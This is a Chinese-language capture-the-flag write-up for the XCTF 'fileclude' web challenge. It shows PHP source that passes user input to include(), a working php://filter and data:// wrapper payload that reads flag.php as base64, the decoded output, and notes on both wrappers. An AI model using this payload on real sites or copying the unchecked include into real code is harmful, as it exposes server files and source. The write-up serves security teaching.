91,【7】 攻防世界 web fileclude

进入靶场

php 复制代码
<?php
// 包含 flag.php 文件
include("flag.php");

// 以高亮语法显示当前文件(即包含这段代码的 PHP 文件)的内容
// 方便查看当前代码结构和逻辑,常用于调试或给解题者提示代码信息
highlight_file(__FILE__);

// 检查是否通过 GET 请求传递了名为 file1 和 file2 的两个参数
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
    // 如果传递了这两个参数,将它们的值分别赋给变量 $file1 和 $file2
    $file1 = $_GET["file1"];
    $file2 = $_GET["file2"];

    // 检查 $file1 和 $file2 这两个变量的值是否不为空
    if(!empty($file1) && !empty($file2))
    {
        // 使用 file_get_contents 函数读取 $file2 指定文件的全部内容
        // 并检查读取的内容是否严格等于字符串 "hello ctf"
        if(file_get_contents($file2) === "hello ctf")
        {
            // 如果 $file2 文件的内容是 "hello ctf",则包含 $file1 指定的文件
            // 这可能会执行 $file1 文件中的代码,是利用漏洞获取 flag 的关键步骤
            include($file1);
        }
    }
    else
        // 如果 $file1 或 $file2 为空,输出 "NONONO" 并终止脚本执行
        die("NONONO");
}
?>

需要用伪协议模拟文件

容易构造

php 复制代码
?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain,hello%20ctf

php 复制代码
PD9waHAKZWNobyAiV1JPTkcgV0FZISI7Ci8vICRmbGFnID0gY3liZXJwZWFjZXsyMTJmMWNiZDNiYTc2OGYyZWRlMjZkZmY2YTM4ZGZmMH0=

CTF在线工具-在线base编码|在线base解码|base16编码|base32编码|base64编码

笔记

1,data:// 伪协议的使用

data:// 是 PHP 中的伪协议,它允许将一段数据当作一个虚拟文件来处理。其基本格式如下:

复制代码
data://<mime-type>[;charset=<charset>][;base64],<data>
  • <mime-type>:指定数据的 MIME 类型,text/plain 表示纯文本类型。
  • charset:可选参数,用于指定字符编码。
  • base64:可选参数,若数据经过 Base64 编码则需指定。
  • <data>:实际的数据内容,也就是要作为虚拟文件执行的代码。
2,php://伪协议的使用
php 复制代码
php://filter/<过滤类型>/resource=<文件路径>
相关推荐
用户938515635074 小时前
从零在浏览器里跑 DeepSeek-R1:WebGPU + Transformer.js 全链路实战
前端·设计模式·typescript
CodeSheep5 小时前
稚晖君公司人事大变动,来了!
前端·后端·程序员
鱼樱前端5 小时前
用 AI 做内容变收入
前端·人工智能·ai编程
浮生望5 小时前
React + TypeScript 组件设计进阶:从类型约束到无状态组件的三次进化
前端
90后的晨仔6 小时前
Mac 开发 uni-app 终极方案:让安卓模拟器彻底脱离 Android Studio 独立运行
前端·vue.js
90后的晨仔6 小时前
别再搞混了!uni-app 中 node_modules 和 uni_modules 到底是什么关系?
前端
kyriewen6 小时前
面试官问"这段逻辑为什么这样写"——我才发现,这半年我写的代码,我自己都解释不了
前端·javascript·面试
YB13757 小时前
jetpack compose 副作用 SideEffect
android·kotlin
谢小飞7 小时前
大文件上传很难?学会这招,GB文件秒传不是梦
前端·node.js
程序员黑豆7 小时前
Windows 系统 Java 环境变量配置全攻略:解决“不是内部或外部命令”
java·前端·ai编程